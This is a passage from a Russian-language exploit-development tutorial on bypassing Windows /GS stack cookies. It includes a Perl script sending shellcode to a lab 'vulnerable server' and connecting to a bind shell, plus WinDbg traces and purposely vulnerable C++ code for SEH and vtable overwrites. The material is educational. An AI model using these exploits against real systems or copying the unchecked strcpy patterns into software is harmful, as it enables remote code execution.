"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\ x48\x50" .
"\x41\x41";
my $nops="\x90" x 10;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$nops.$shellcode."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
system("telnet $host 5555\n");
Окей, эксплойт работает. Все просто и понятно, но эксплойт работает только потому, что нет защиты /GS.
Сейчас давайте попробуем сделать тоже самое, но теперь скомпилируем «vulnerable server» с параметром /GS:

Приложение умирает, но эксплойт не работает.
Снова откройте «vulnerable server» (с поддержкой GS) в отладчике, но перед тем как запустить его, установите брейкпойнт на security_check_cookie:
Code:
(b88.260): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd7000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0
nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> bp vulnerable_server!__security_check_cookie
0:000> bl
0 e 004012dd 0001 (0001) 0:**** vulnerable_server!__security_check_cookie
Что именно происходит, когда буфер/стек подвергается переполнению? Давайте посмотрим на это. Отправте ровно 512 символов «A» нашему уязвимому серверу =)
Code: Perl
use strict;
use Socket;
my $junk = "\x41" x 512;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port addressmy $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the portsocket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
Вот то, что происходит в отладчике (с установленным брейкпойнтом на vulnerable_server!__security_check_cookie):
Code:
0:000> g
ModLoad: 71a50000 71a8f000 C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll
Breakpoint 0 hit
eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384
eip=004012dd esp=0012e048 ebp=0012e25c iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vulnerable_server!__security_check_cookie:
004012dd 3b0d00304000 cmp ecx,dword ptr
[vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=ef793df6
Тут показано, что проверочный код был добавлен, и что он выполняет проверку security cookie.
Security cookie находятся по адресу 0×00403000.
Code:
0:000> dd 0x00403000
00403000 ef793df6 1086c209 ffffffff ffffffff
00403010 fffffffe 00000001 00000000 00000000
00403020 00000001 00342a00 00342980 00000000
00403030 00000000 00000000 00000000 00000000
Поскольку мы перезаписали часть стека (включая GS cookie), сравнение cookie дало сбой, и вызвало FastSystemCallRet.
Перезапустите «vulnerable server», затем снова запустите Perl-скрипт и еще раз посмотрите на cookie (чтобы убедиться, что она изменились):
Code:
(480.fb0): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd9000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> bp vulnerable_server!__security_check_cookie
0:000> bl
0 e 004012dd 0001 (0001) 0:**** vulnerable_server!__security_check_cookie
0:000> g
ModLoad: 71a50000 71a8f000 C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll
Breakpoint 0 hit
eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384
eip=004012dd esp=0012e048 ebp=0012e25c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vulnerable_server!__security_check_cookie:
004012dd 3b0d00304000 cmp ecx,dword ptr [vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=d0dd8743
0:000> dd 0x00403000
00403000 d0dd8743 2f2278bc ffffffff ffffffff
00403010 fffffffe 00000001 00000000 00000000
00403020 00000001 00342a00 00342980 00000000
00403030 00000000 00000000 00000000 00000000
Как можно видеть, она отличается от прошлой cookie, что означает, что она не предсказуема. Собственно так обычно и обстоят дела, но если посмотреть на эксплойт для MS06-040, который использовал тот факт, что cookie были статическими, то будет ясно, что и это возможно – в теории))
В любом случае, если вы сейчас попытаетесь переполнить буфер, приложение умрет: ntdll!KiFastSystemCallRet
Установите брейкпойнт на функцию pr() и в пошаговом режиме пройдитесь по инструкциям, пока вы не увидите, что проверка cookie дала сбой, перед возвратом из функции (function returns).
Это должно дать вам достаточно информации о том, как параметр компилятора /GS изменяет код функции, чтобы защитить её от переполнения буфера.
Как было объяснено ранее, существует несколько методов, которые могут позволить вам попытаться обойти GS-защиту. Большинство из них полагаются на тот факт, что вы можете перехватить упраление обработчиком исключений и вызвать исключение до того, как будет осуществлена проверка cookie. Другие полагаются на то, что вы имеете возможность писать в аргументы… Какой бы из методов я не пробовал для нашего «vulnerable server», мне так и не удалось запустить шеллкод (неудавалось перезаписать обработчик исключений). Посему, параметр /GS, кажется, является довольно эффективной защитой, конкретно для нашего кода.
Демонстрация обхода cookie #1: Обработка исключений
Уязвимый код
Чтобы продемонстрировать, как могут быть обойдены cookie, будем использовать следующий простой C++ код (basicbof.cpp):
Code: C/C++
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
void GetInput(char* str, char* out)
{
char buffer[500];
try
{
strcpy(buffer,str);
strcpy(out,buffer);
printf("Input received : %s\n",buffer);
}
catch (char * strErr)
{
printf("No valid input received ! \n");
printf("Exception : %s\n",strErr);
}
}
int main(int argc, char* argv[])
{
char buf2[128];
GetInput(argv[1],buf2);
return 0;
}
Как можно видеть, функция GetInput содержит уязвимую strcpy, поскольку она не проверяет длину первого параметра. Кроме того, как только буфер будет заполнен (и возможно, поврежден) она снова используется (strcpy применяется для переменной «out») перед возвратом из функции. Но подождите – обработчик исключений функции должен предупредить пользователи в случае, если был введен зловредный ввод, не так ли? 
Скомпилируйте код без /GS и без RTC.
Запустите полученную программу и используйте 10-ти символьную стоку в качестве параметра:
Code:
basicbof.exe AAAAAAAAAA
Input received : AAAAAAAAAA
Хорошо, все работает, как и ожидалось. Теперь запустите приложение со строкой свшые 500-та байт, в качестве первого параметра.
Если бы мы заблаговременно не предвидели данную ситуацию и не вставили бы обработчик исключений в код функции GetInput, то приложение бы рухнуло и вызвало отладчик.
Будем использовать следующий простой Perl-скрипт для запуска приложения со строкой в 520 байт.
Code: Perl
my $buffer="A" x 520;
system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" basicbof.exe \"$buffer\"\r\n");
Выполните скрипт:
Code:
(908.470): Access violation - code c0000005 (!!! second chance !!!)
eax=0000021a ebx=00000000 ecx=7855215c edx=785bbb60 esi=00000001 edi=00403380
eip=41414141 esp=0012ff78 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
41414141 ??
=> прямая перезапись RET/EIP. Класическое переполнение буфера (BOF).
Если попытаетесь сделать тоже самое снова, используя исполняемый файл, который включает код обработчика исклчюений, приложение умрет. Если вы предпочитает запускать испольняемые файлы в WinDbg, то запустите WinDbg, откройте basicbof.exe, и добавьте 500+ символьную строку в качестве аргумента:
Теперь вы получите следующее:
Code:
(b5c.964): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
basicbof!GetInput+0xcb:
004010cb 8802 mov byte ptr [edx],al ds:0023:00130000=41
На этот раз перезаписи EIP нет, но мы попали в обработчик исключений с нашим переполненным буфером.
Code:
0:000> !exchain
0012fee0: 41414141
Invalid exception stack at 41414141
Как работает SEH-обработчик и что происходит, когда он перезаписывается?
Прежде чем продолжить, в качестве небольшого упражнения (используя брейкпойнты и пошаговое исполнение инструкций) мы узнаем, где и почему обработчик исключений kicked in и что происходит, когда вы его перезаписываете.
Снова, откройте исполняемый файл (без GS, но который содержит код обработчика исключений) в WinDbg (с 520 символами A в качестве параметра). Перед запуском приложения, установите брейкпойнт на функцию GetInput.
Code:
0:000> bp GetInput
0:000> bl
0 e 00401000 0001 (0001) 0:**** basicbof!GetInput
Запустите приложение. Оно остановится в момент когда будет вызвана функция.
Code:
Breakpoint 0 hit
eax=0012fefc ebx=00000000 ecx=00342980 edx=003429f3 esi=00000001 edi=004033a8
eip=00401000 esp=0012fef0 ebp=0012ff7c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
basicbof!GetInput:
00401000 55 push ebp
Если вы отобразите дизассемблерное представление функции GetInput, вы увидите следующее:
Code:
00401000 $ 55 PUSH EBP ;save current value of EBP (=> saved EIP)
00401001 . 8BEC MOV EBP,ESP ;ebp is now top of stack (=> saved EBP)
00401003 . 6A FF PUSH -1
00401005 . 68 A01A4000 PUSH basicbof.00401AA0 ; SE handler installation
0040100A . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
00401010 . 50 PUSH EAX
00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401018 . 51 PUSH ECX
00401019 . 81EC 1C020000 SUB ESP,21C ;reserve space on the stack, 540 bytes
0040101F . 53 PUSH EBX
00401020 . 56 PUSH ESI
00401021 . 57 PUSH EDI
00401022 . 8965 F0 MOV DWORD PTR SS:[EBP-10],ESP
00401025 . C745 FC 000000>MOV DWORD PTR SS:[EBP-4],0
0040102C . 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ;start strcpy(buffer,str)
0040102F . 8985 F0FDFFFF MOV DWORD PTR SS:[EBP-210],EAX
00401035 . 8D8D F8FDFFFF LEA ECX,DWORD PTR SS:[EBP-208]
0040103B . 898D ECFDFFFF MOV DWORD PTR SS:[EBP-214],ECX
00401041 . 8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214]
00401047 . 8995 E8FDFFFF MOV DWORD PTR SS:[EBP-218],EDX
0040104D > 8B85 F0FDFFFF MOV EAX,DWORD PTR SS:[EBP-210]
00401053 . 8A08 MOV CL,BYTE PTR DS:[EAX]
00401055 . 888D E7FDFFFF MOV BYTE PTR SS:[EBP-219],CL
0040105B . 8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214]
00401061 . 8A85 E7FDFFFF MOV AL,BYTE PTR SS:[EBP-219]
00401067 . 8802 MOV BYTE PTR DS:[EDX],AL
00401069 . 8B8D F0FDFFFF MOV ECX,DWORD PTR SS:[EBP-210]
0040106F . 83C1 01 ADD ECX,1
00401072 . 898D F0FDFFFF MOV DWORD PTR SS:[EBP-210],ECX
00401078 . 8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[EBP-214]
0040107E . 83C2 01 ADD EDX,1
00401081 . 8995 ECFDFFFF MOV DWORD PTR SS:[EBP-214],EDX
00401087 . 80BD E7FDFFFF >CMP BYTE PTR SS:[EBP-219],0
0040108E .^75 BD JNZ SHORT basicbof.0040104D ;jmp to 0x0040104d,get next char
00401090 . 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] ;start strcpy(out,buffer)
00401096 . 8985 E0FDFFFF MOV DWORD PTR SS:[EBP-220],EAX
0040109C . 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040109F . 898D DCFDFFFF MOV DWORD PTR SS:[EBP-224],ECX
004010A5 . 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224]
004010AB . 8995 D8FDFFFF MOV DWORD PTR SS:[EBP-228],EDX
004010B1 > 8B85 E0FDFFFF MOV EAX,DWORD PTR SS:[EBP-220]
004010B7 . 8A08 MOV CL,BYTE PTR DS:[EAX]
004010B9 . 888D D7FDFFFF MOV BYTE PTR SS:[EBP-229],CL
004010BF . 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224]
004010C5 . 8A85 D7FDFFFF MOV AL,BYTE PTR SS:[EBP-229]
004010CB . 8802 MOV BYTE PTR DS:[EDX],AL
004010CD . 8B8D E0FDFFFF MOV ECX,DWORD PTR SS:[EBP-220]
004010D3 . 83C1 01 ADD ECX,1
004010D6 . 898D E0FDFFFF MOV DWORD PTR SS:[EBP-220],ECX
004010DC . 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[EBP-224]
004010E2 . 83C2 01 ADD EDX,1
004010E5 . 8995 DCFDFFFF MOV DWORD PTR SS:[EBP-224],EDX
004010EB . 80BD D7FDFFFF >CMP BYTE PTR SS:[EBP-229],0
004010F2 .^75 BD JNZ SHORT basicbof.004010B1;jmp to 0x00401090,get next char
004010F4 . 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208]
004010FA . 50 PUSH EAX ; /<%s>
004010FB . 68 FC204000 PUSH basicbof.004020FC ; |format = "Input received : %s
"
00401100 . FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] \printf
00401106 . 83C4 08 ADD ESP,8
00401109 . EB 30 JMP SHORT basicbof.0040113B
0040110B . 68 14214000 PUSH basicbof.00402114 ; /format = "No valid input received !
"
00401110 . FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf
00401116 . 83C4 04 ADD ESP,4
00401119 . 8B8D F4FDFFFF MOV ECX,DWORD PTR SS:[EBP-20C]
0040111F . 51 PUSH ECX ; /<%s>
00401120 . 68 30214000 PUSH basicbof.00402130 ; |format = "Exception : %s
"
00401125 . FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf
0040112B . 83C4 08 ADD ESP,8
0040112E . C745 FC FFFFFF>MOV DWORD PTR SS:[EBP-4],-1
00401135 . B8 42114000 MOV EAX,basicbof.00401142
0040113A . C3 RETN
В начале пролога функции GetInput(), аргумент функции (нашего буфера «str») сохраняется по адресу 0x003429f3 (EDX):
Code:
0:000> d edx
003429f3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00342a03 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Указатель на этот аргумент помещается в стек, по адресу 0x0012fef4 (таким образом, по адресу 0x0012fef4, хранится адресс 0x003429f3).
Указатель стека (ESP) указывает на 0x0012fef0, а EBP указывает на 0x0012ff7c. Сейчас два эти адреса формируют новый стековый фрейм функции. The memory location ESP points to currently contains 0×00401179 (которое является адресом возврата, обратно из функции main, сразу после вызова GetInput()).
Code:
basicbof!main
00401160 55 push ebp
00401161 8bec mov ebp,esp
00401163 81ec80000000 sub esp,80h
00401169 8d4580 lea eax,[ebp-80h]
0040116c 50 push eax
0040116d 8b4d0c mov ecx,dword ptr [ebp+0Ch] ;pointer to argument
00401170 8b5104 mov edx,dword ptr [ecx+4] ;pointer to argument
00401173 52 push edx ; buffer argument
00401174 e887feffff call basicbof!GetInput (00401000) ; GetInput()
00401179 83c408 add esp,8 ;normally GetInput returns here
0040117c 33c0 xor eax,eax0040117e 8be5 mov esp,ebp
00401180 5d pop ebp
00401181 c3 ret
В любом случае, давайте вернемся к дизассембрелному листингу функции GetInput, который приводился выше. После того, как указатели на аргументы, были помещены в стек, в прологе функции, в стеке сохраняется EBP. Далее, ESP помещается в EBP, чтобы EBP указывал на вершину стека. Так что, посути, новый стековый фрейм создается в «текущей» позиции ESP, в момент вызова функции. После сохранения EBP, ESP указывает на адрес 0x0012feec (который содержит адрес 0c0012ff7c). После того, как все даные были помещены в стек, EBP будет указывать на тоже самое место (но теперь EBP становится (и продолжает оставаться) нижней частью стека).
Затем устанавливается SEH-обработчик. Сначала в стек помещаетя FFFFFFFF (для указания конца SEH-цепочки).
Code:
00401003 . 6A FF PUSH -1
00401005 . 68 A01A4000 PUSH basicbof.00401AA0
Далее, в стек помещаются SEH-обработчик и nSEH (next SEH):
Code:
0040100A . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
00401010 . 50 PUSH EAX
00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
После чего стек выглядит следующим образом:
Code:
^ stack grows up towards top of stack while address of ESP goes down
| 0012FECC 785438C5 MSVCR90.785438C5
| 0012FED0 0012FEE8
| 0012FED4 7855C40C MSVCR90.7855C40C
| 0012FED8 00152150
| 0012FEDC 0012FEF8 <- ESP points here after pushing next SEH
| 0012FEE0 0012FFB0 Pointer to next SEH record
| 0012FEE4 00401AA0 SE handler
| 0012FEE8 FFFFFFFF ; end of SEH chain
| 0012FEEC 0012FF7C ; saved EBP
| 0012FEF0 00401179 ; saved EIP
| 0012FEF4 003429F3 ; pointer to buffer ASCII "AAAAAAAAAAAAAAAAAAAAA…"
Перед тем, как будет вызвана первая strcpy, в стеке резервируется некоторые место.
Code:
00401019 . 81EC 1C020000 SUB ESP,21C ;540 bytes, which is 500 (buffer) + additional space
После этой инструкции, ESP будет указываеть на 0x0012fcc0 (что равно 0x0012fedc – 21c), EBP продолжает указываеть на 0x0012feec (вершину стека). Далее, в стек помещаются EBX, ESI и EDI (теперь ESP = ESP – C (3 x 4 = 12 байт)), после чего ESP будет указывать на 0x0012FCB4.
Затем, по адресу 0x0040102c, вызывается первая strcpy (ESP продолжает указывать на 0012fcb4). Каждый симвло А берется из буфера, в котором он находится, и помещается в стек (последовательно, в цикле расположенном с адреса 0x0040104d по 0x0040108e).
Этот процесс продолжается до тех пор, пока не будут записаны все 520 байт (длина аргумента командной строки).
Первые четыре символа A будут записанны по адресу 0012fce4. Если к этому адресу вы добавите 208h (520 байт) – 04h (4 байта которые уже находятся по адресу 0012fce4), то вы вычислите конечный адрес (0012fee8), который достигнет и перезапишет SEH-структуру. В данной точке, никакого вреда мы еще не причинили.
Пока все идет хорошо. Никакое исключение еще небыло вызвано (так как еще ничего небыло сделано с буфером, и мы не пытались никуда писать, чтобы вызвать немедленное исключение).
Затем вызывается вторая strcpy (strcpy(out,buffer)). Похожая процедура (с циклом для копирования строки символов А), сейчас символы А записаваются в стек начиная с адреса 0x0012fefc. EBP (указывает на нижнюю часть стека) продолжает указывать на 0x0012feec, так что сейчас мы будем писать за пределами нижней части стека.
Переменная «out» может принять всего лишь 128 байт (она изначально установлена в функции main() и затем переда не инициализированной функции GetInput() – это пахнет бедой
), поэтому переполнение, вероятно, произойдет намного быстрее. Буффер содержит намного больше байт, чем переменная «out» может принять, так что переполнение, возможно, перезапишет область, которая не принадлежит функции, и на этот раз это будет намного больнее. Если это вызовет исключение, то мы будем контролировать поток исполнения комманд (как вы помните, мы уже перезаписали SEH-обработчик).
После того, как в стек было помещено 128 символов А, он выглядит следующим образом:
Так как запись продолажется, то мы начинаем писать по более высоким адресам (в конечном счете, перезаписываем даже стек функции main(), её локальный переменные, переменные среды, argv, etc. Вобщем все, что встречается на пути к нижней части стека).
До тех пор, пока мы наконец не попробуем записать что-то по адресу, к которому у нас нет доступа.
Что в итоге приведет к нарушению доступа. Сейчас SEH-цепочка выглядит следующим образом:
Если сейчас будет сгенерировано исключение, то произойдет попытка обращения к этому SEH-обработчику.
SEH-структура была перезаписана с помощью первой функции strcpy, а вторая функция вызвала исключение, до того как функция смогла вернуть управление (return). Такая комбинация обоих вызовов функций должна позволить нам использовать эту уязвимость, поскльку здесь не происходит проверка cookie.
Использование SEH для обхода GS-защиты
Еще раз скомпилируйте наш код (c параметром /GS) и попытайтесь снова осуществить переполнение:
Код с обработчиком исключений:
Code:
(aa0.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a4
eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
basicbof!GetInput+0xd8:
004010d8 8802 mov byte ptr [edx],al ds:0023:00130000=41
0:000> uf GetInput
basicbof!GetInput [basicbof\basicbof.cpp @ 6]:
6 00401000 55 push ebp
6 00401001 8bec mov ebp,esp
6 00401003 6aff push 0FFFFFFFFh
6 00401005 68d01a4000 push offset basicbof!_CxxFrameHandler3+0xc (00401ad0)
6 0040100a 64a100000000 mov eax,dword ptr fs:[00000000h]
6 00401010 50 push eax
6 00401011 51 push ecx
6 00401012 81ec24020000 sub esp,224h
6 00401018 a118304000 mov eax,dword ptr [basicbof!__security_cookie (00403018)]
6 0040101d 33c5 xor eax,ebp
6 0040101f 8945ec mov dword ptr [ebp-14h],eax
6 00401022 53 push ebx
6 00401023 56 push esi
6 00401024 57 push edi
6 00401025 50 push eax
6 00401026 8d45f4 lea eax,[ebp-0Ch]
6 00401029 64a300000000 mov dword ptr fs:[00000000h],eax
6 0040102f 8965f0 mov dword ptr [ebp-10h],esp
9 00401032 c745fc00000000 mov dword ptr [ebp-4],0
10 00401039 8b4508 mov eax,dword ptr [ebp+8]
10 0040103c 8985e8fdffff mov dword ptr [ebp-218h],eax
10 00401042 8d8df0fdffff lea ecx,[ebp-210h]
10 00401048 898de4fdffff mov dword ptr [ebp-21Ch],ecx
10 0040104e 8b95e4fdffff mov edx,dword ptr [ebp-21Ch]
10 00401054 8995e0fdffff mov dword ptr [ebp-220h],edx
Приложение сново умерло. Исходя из дизассемблерного листинга, можно ясно видеть, что security cookie были помещены в стек, в эпилоге функции GetInput. Поэтому, классическое переполнение буфера (через прямую перезапись RET) работать не будет… Однако, во время переполнения буфера, мы так же перезаписываем обработчик исключений (как вы помните, первая функция strcpy, перезаписывает SEH-обработчик… В нашем примере, SEH-обработчик был перезаписан только двумя байтами, так что нам, вероятно, нужно на два байта больше данных, чтобы перезаписать его адрес полностью):
Code:
0:000> !exchain
0012fed8: basicbof!_CxxFrameHandler3+c (00401ad0)
Invalid exception stack at 00004141
Это означает, что мы «возможно» сможем обойти GS-защиту, используя для этого обработчик исключений.
Теперь, если вы снова удалите (leave out) код обработчика исключений (в функции GetInput), и скормите приложению тоже колличество символов, то мы получим следующее:
Code:
0:000> g
(216c.2ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=0040337c
eip=004010b2 esp=0012fcc4 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
basicbof!GetInput+0xb2:
004010b2 8802 mov byte ptr [edx],al ds:0023:00130000=41
0:000> !exchain
0012ffb0: 41414141
Invalid exception stack at 41414141
Это происходит, при тойже самой длине агрумента, но без дополнительного обработчика исключений. Исходя из этого, мы можем заключить, что на этот раз нам не нужно будет много байт для того, чтобы перезаписать SEH-структуру. Похоже на то, что мы вызвали исключение до того, как cookie могли быть проверены. Как объяснялось ранее, данное поведение является следствием вызова второй функции strcpy в GetInput().
Чтобы доказать мою точку зрения, удалите вторую фукнцию strcpy (таким образом, у нас останется только одна strcpy и никакого обработчика исключений в приложении). То, что произойдет показано ниже:
Code:
0:000> g
eax=000036c0 ebx=00000000 ecx=000036c0 edx=7c90e514 esi=00000001 edi=0040337c
eip=7c90e514 esp=0012f984 ebp=0012f994 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!KiFastSystemCallRet:
7c90e514 c3 ret
=> Защита cookie снвоа работает.
Итак, вывод: cookie можно обойти, если уязвимая функция, тем или инным образом, вызовет исключение ПЕРЕД ТЕМ, как cookie будут проверены в эпилоге функции, например, исключение, может быть вызвано, когда функция продолжает использовать поврежденный буфер далее в своем теле.
ПРИМЕЧАНИЕ: При эксплуатации уязвимости, в данном конкретном приложении, вам, вероятно, так же придется иметь дело с SafeSEH… В любом случае, защита cookie была обойдена… =)
Демонстрация обхода cookie #2: Вызов виртуальной функции
Чтобы продемонстировать эту технику, я буду использовать кусок кода (немного измененный, чтобы его можно было скопилировать в VS 2008), который был найден в статье Алекса Соритова и Марка Доуда из конференции BalckHat 2008:
Code: C/C++
// gsvtable.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
class Foo {
public:
void __declspec(noinline) gs3(char* src)
{
char buf[8];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void __declspec(noinline) bar()
{
}
};
int main()
{
Foo foo;
foo.gs3(
"AAAA"
"BBBB"
"CCCC"
"DDDD"
"EEEE"
"FFFF"
return 0;
}
Переменная foo объекта Foo обявляется в функции main(). Место под эту пременную так же выделяется в стеке функции main(). После чего, вызывается функция foo.gs3(), которая содержит уязвимую функцию strcpy, которая копирует строку (переданную в качестве аргумента) в буффер, который состоит всего лишь из 8 байт. Таким образом, если строка будет длиннее 8 байт, произойдет переполенние буфера.
После вызова strcpy(), будет выполнена виртуальная функция bar(). Поскольку переполнение происходит раньше, указатель на vtable, находящийся в стеке, может быть перезаписан и поток исполнения может быть перенаправлен на ваш шеллкод.
После копиляции кода с параметром /GS, функция gs3 будет выглядеть следующим образом:
Code:
0:000> uf Foo::gs3
gsvtable!Foo::gs3
10 00401000 55 push ebp
10 00401001 8bec mov ebp,esp
10 00401003 83ec20 sub esp,20h
10 00401006 a118304000 mov eax,dword ptr [gsvtable!__security_cookie (00403018)]
10 0040100b 33c5 xor eax,ebp
10 0040100d 8945fc mov dword ptr [ebp-4],eax
10 00401010 894df0 mov dword ptr [ebp-10h],ecx
12 00401013 8b4508 mov eax,dword ptr [ebp+8]
12 00401016 8945ec mov dword ptr [ebp-14h],eax
12 00401019 8d4df4 lea ecx,[ebp-0Ch]
12 0040101c 894de8 mov dword ptr [ebp-18h],ecx
12 0040101f 8b55e8 mov edx,dword ptr [ebp-18h]
12 00401022 8955e4 mov dword ptr [ebp-1Ch],edx
gsvtable!Foo::gs3+0x25
12 00401025 8b45ec mov eax,dword ptr [ebp-14h]
12 00401028 8a08 mov cl,byte ptr [eax]
12 0040102a 884de3 mov byte ptr [ebp-1Dh],cl
12 0040102d 8b55e8 mov edx,dword ptr [ebp-18h]
12 00401030 8a45e3 mov al,byte ptr [ebp-1Dh]
12 00401033 8802 mov byte ptr [edx],al
12 00401035 8b4dec mov ecx,dword ptr [ebp-14h]
12 00401038 83c101 add ecx,1
12 0040103b 894dec mov dword ptr [ebp-14h],ecx
12 0040103e 8b55e8 mov edx,dword ptr [ebp-18h]
12 00401041 83c201 add edx,1
12 00401044 8955e8 mov dword ptr [ebp-18h],edx
12 00401047 807de300 cmp byte ptr [ebp-1Dh],0
12 0040104b 75d8 jne gsvtable!Foo::gs3+0x25 (00401025)
gsvtable!Foo::gs3+0x4d
13 0040104d 8b45f0 mov eax,dword ptr [ebp-10h]
13 00401050 8b10 mov edx,dword ptr [eax]
13 00401052 8b4df0 mov ecx,dword ptr [ebp-10h]
13 00401055 8b02 mov eax,dword ptr [edx]
13 00401057 ffd0 call eax ;this is where bar() is called (via vtable ptr)
14 00401059 8b4dfc mov ecx,dword ptr [ebp-4]
14 0040105c 33cd xor ecx,ebp
14 0040105e e854000000 call gsvtable!__security_check_cookie (004010b7)
14 00401063 8be5 mov esp,ebp
14 00401065 5d pop ebp
14 00401066 c20400 ret 4
Stack cookie :
Code:
0:000> dd 00403018
00403018 cd1ee24d 32e11db2 ffffffff ffffffff
00403028 fffffffe 00000001 004020f0 00000000
00403038 56413f2e 406f6f46 00000040 00000000
00403048 00000001 00343018 00342980 00000000
00403058 00000000 00000000 00000000 00000000
Виртуальная функция bar() выглядит следующим образом:
Code:
0:000> uf Foo::bar
gsvtable!Foo::bar
16 00401070 55 push ebp
16 00401071 8bec mov ebp,esp
16 00401073 51 push ecx
16 00401074 894dfc mov dword ptr [ebp-4],ecx
17 00401077 8be5 mov esp,ebp
17 00401079 5d pop ebp
17 0040107a c3 ret
Если вы посмотрите на стек, в тот момент, когда функция gs3 будет вызывана, то увидите следующее:
- 0x0012ff70 = сохранен EIP
- 0x0012ff74 = аргументы
- 0x0012ff78 = указатель на vtable (указывает на 0x0040211c)
Code:
0:000> u 0040211c
gsvtable!Foo::`vftable':
0040211c 7010 jo gsvtable!_load_config_used+0xe (0040212e)
